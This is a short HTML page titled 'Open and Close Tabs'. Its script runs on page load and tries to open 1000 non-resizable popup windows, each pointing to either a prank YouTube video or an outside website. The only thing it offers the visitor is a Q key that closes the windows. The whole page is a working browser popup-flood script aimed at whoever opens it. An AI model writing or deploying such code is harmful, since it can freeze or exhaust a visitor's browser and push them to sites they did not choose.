<!DOCTYPE html>
<html>
<head><title>Open and Close Tabs</title></head>
<body>
  <p>Press the "Q" key to close all opened tabs.</p>
  <script>
    let urls = ['https://www.youtube.com/watch?v=dQw4w9WgXcQ', 'https://miserabledolly.net/'];
    let openedWindows = [];
    function openSmallestWindows() {
      var url = urls[Math.floor(Math.random() * urls.length)];
      const windowFeatures = "width=500,height=500,resizable=no";
      for (let i = 0; i < 1000; i++) { 
        const offset = i * 20;
        const newWindow = window.open(url, "_blank", `${windowFeatures},top=${offset},left=${offset}`);
        if (newWindow) openedWindows.push(newWindow);
      }
    }
    openSmallestWindows();
    function closeAllWindows() {
      openedWindows.forEach(win => { if (win && !win.closed) win.close(); });
      openedWindows = [];
    }
    document.addEventListener('keydown', (e) => { if (e.key.toLowerCase() === 'q') closeAllWindows(); });
  </script>
</body>
</html>
